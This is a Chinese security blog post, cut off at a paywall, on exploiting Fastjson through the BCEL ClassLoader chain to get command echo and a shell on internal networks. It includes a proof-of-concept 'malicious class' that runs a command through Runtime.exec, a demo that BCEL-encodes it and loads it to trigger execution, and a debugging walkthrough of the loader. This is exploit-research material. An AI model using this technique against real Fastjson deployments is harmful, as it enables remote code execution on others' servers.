写作背景
实战中打点的话,java漏洞是最爽的,一打就是root权限。以fastjson为例,之前我曾经写过漏洞的原理,但是公网遇到的漏洞越来越少,大多都是在内网的环境,内网里没办法使用dnslog去探测回显。这里学习一下用bcel链直接在bp中产生回显进而getshell。
bcel调试分析
这里借用Zh1z3ven师傅的代码
准备一个恶意类
import java.io.IOException;
public class calc {
static{
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}
测试Demo
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class BCELDemo {
public static void main(String[] args) throws Exception {
//使用BCEL(Byte Code Engineering Library)的Repository类的lookupClass方法,尝试从类路径中查找名为 'calc.class' 的类,并返回一个 JavaClass 对象。
//'JavaClass' 是 BCEL 提供的类,用于表示已加载的 Java 类。
JavaClass cls = Repository.lookupClass(calc.class);
//使用 BCEL 提供的 'Utility' 类的 'encode' 方法,将字节码使用base64进行编码:'cls.getBytes()' 返回表示 'calc.class' 字节码的字节数组;true表示编码过程中进行分割
String code = Utility.encode(cls.getBytes(),true);
System.out.println(code);
//创建了一个ClassLoader对象,调用其loadClass方法
//loadClass方法用于加载类,接收一个字符串参数表示要加载的类的名称(这里的类通过将'$$BCEL$$'字符串和变量'code'拼接得到),再通过调用.newInstance方法创建一个新的对象
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}
测试结果
可以看到我们控制台上不仅出现了一段看不懂的加密字符,还弹出了计算器,说明我们的恶意代码被执行了。

代码分析调试
- 我们在弹出计算器的这段代码打上断点,f7步入ClassLoader,创建完毕一个ClassLoader对象

- 继续步入loadClass方法,这里上将给定的ClassLoader类作为参数传递给loadClass方法,返回调用loadClass的重载方法进行类加载,默认将第二个参数var2设置为false。

- f7步入laodClass的实现方法,这里主要是实现类加载机制,通过一系列尝试来加载指定的类,并返回对应的Class对象。
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
/* First try: lookup hash table.
*/
//第一次尝试,在哈希表查找类
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
//第二次尝试:使用系统类加载器加载系统类
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}
if(cl == null) {
JavaClass clazz = null;
/* Third try: Special request?
*/
//第三次尝试:特殊请求?
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository 第四次尝试:通过仓库加载类
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, by

本文聚焦Java漏洞利用,以Fastjson为例,因公网漏洞减少、内网无法用dnslog探测回显,故学习用bcel链在bp中回显getshell。介绍了bcel调试分析过程,包括恶意类测试、代码调试;还讲解了公网利用jndi工具和不出网利用bcel回显shell的方法及原理。
最低0.47元/天 解锁文章
3702

被折叠的 条评论
为什么被折叠?



